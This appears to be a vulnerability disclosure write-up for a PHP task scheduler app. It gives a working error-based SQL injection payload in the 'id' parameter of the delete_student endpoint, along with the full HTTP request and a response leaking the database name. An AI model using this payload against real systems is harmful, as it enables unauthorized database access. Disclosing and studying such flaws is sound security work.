

main

...

bug_report / vendors / oretnom23 / simple-task-scheduler-system / SQLi-4.md



debug601 Create SQLi-4.md

History

1 contributor

45 lines (34 sloc) | 1.64 KB

...

Simple Task Scheduling System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15328/simple-task-scheduler-system-phpoop-free-source-code.html>

The program is built using the xmapp-php5.6 version

Vulnerability File: /tss/classes/Master.php?f=delete_student

Vulnerability location: /tss/classes/Master.php?f=delete_student, id

You need to first create the library by executing the following sql statement in the database tss_db

```
CREATE TABLE `student_list` (  
  `id` int(30) NOT NULL,  
  `user_id` int(30) NOT NULL,  
  `name` text NOT NULL,  
  `status` tinyint(1) NOT NULL DEFAULT '1',  
  `delete_flag` tinyint(1) NOT NULL DEFAULT '0',  
  `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,  
  `date_updated` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMES  
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
```

db_name = tss_db;length=6

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /tss/classes/Master.php?f=delete_student HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=tc6akb10bh652defck09t9eug4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
```

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot shows a web browser's developer tools with the network tab open. The left pane shows the raw data of the POST request, and the right pane shows the response headers and body.

Request (Left Pane):

```
POST /tss/classes/Master.php?f=delete_student HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=tc6akb10bh652defck09t9eug4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

Response (Right Pane):

```
HTTP/1.1 200 OK
Date: Sun, 17 Jul 2022 09:23:51 GMT
Server: Apache/2.4.38 (win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 60
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed","error":"XPath syntax error: '~tss_db~'}
```